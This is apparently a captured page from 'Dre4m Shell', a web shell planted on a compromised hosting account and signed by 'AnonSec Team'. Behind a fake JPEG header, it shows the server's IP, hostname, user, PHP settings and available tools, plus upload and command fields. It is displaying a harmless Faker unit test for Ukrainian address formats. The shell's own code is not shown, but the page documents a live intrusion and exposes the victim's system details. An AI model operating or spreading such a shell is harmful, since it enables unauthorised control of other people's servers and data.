JFIFExifMM*C  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.144.40.182
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/nicnAdmin/vendor/fzaninotto/faker/test/Faker/Provider/uk_UA/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/nicnAdmin/vendor/fzaninotto/faker/test/Faker/Provider/uk_UA/AddressTest.php
<?php

namespace Faker\Test\Provider\uk_UA;

use Faker\Generator;
use Faker\Provider\uk_UA\Address;

class AddressTest extends \PHPUnit_Framework_TestCase
{

    /**
     * @var Generator
     */
    private $faker;

    public function setUp()
    {
        $faker = new Generator();
        $faker->addProvider(new Address($faker));
        $this->faker = $faker;
    }

    public function testPostCodeIsValid()
    {
        $main = '[0-9]{5}';
        $pattern = "/^($main)|($main-[0-9]{3})+$/";
        $postcode = $this->faker->postcode;
        $this->assertRegExp($pattern, $postcode, 'Post code ' . $postcode . ' is wrong!');
    }

    public function testEmptySuffixes()
    {
        $this->assertEmpty($this->faker->citySuffix, 'City suffix should be empty!');
        $this->assertEmpty($this->faker->streetSuffix, 'Street suffix should be empty!');
    }

    public function testStreetCyrOnly()
    {
        $pattern = "/[0-9А-ЩЯІЇЄЮа-щяіїєюьIVXCM][0-9А-ЩЯІЇЄЮа-щяіїєюь \'-.]*[А-Яа-я.]/u";
        $streetName = $this->faker->streetName;
        $this->assertSame(
            preg_match($pattern, $streetName),
            1,
            'Street name ' . $streetName . ' is wrong!'
        );
    }

    public function testCityNameCyrOnly()
    {
        $pattern = "/[А-ЩЯІЇЄЮа-щяіїєюь][0-9А-ЩЯІЇЄЮа-щяіїєюь \'-]*[А-Яа-я]/u";
        $city = $this->faker->city;
        $this->assertSame(
            preg_match($pattern, $city),
            1,
            'City name ' . $city . ' is wrong!'
        );
    }

    public function testRegionNameCyrOnly()
    {
        $pattern = "/[А-ЩЯІЇЄЮ][А-ЩЯІЇЄЮа-щяіїєюь]*а$/u";
        $regionName = $this->faker->region;
        $this->assertSame(
            preg_match($pattern, $regionName),
            1,
            'Region name ' . $regionName . ' is wrong!'
        );
    }

    public function testCountryCyrOnly()
    {
        $pattern = "/[А-ЩЯІЇЄЮа-щяіїєюьIVXCM][А-ЩЯІЇЄЮа-щяіїєюь \'-]*[А-Яа-я.]/u";
        $country = $this->faker->country;
        $this->assertSame(
            preg_match($pattern, $country),
            1,
            'Country name ' . $country . ' is wrong!'
        );
    }
}

Anon7 - 2022
AnonSec Team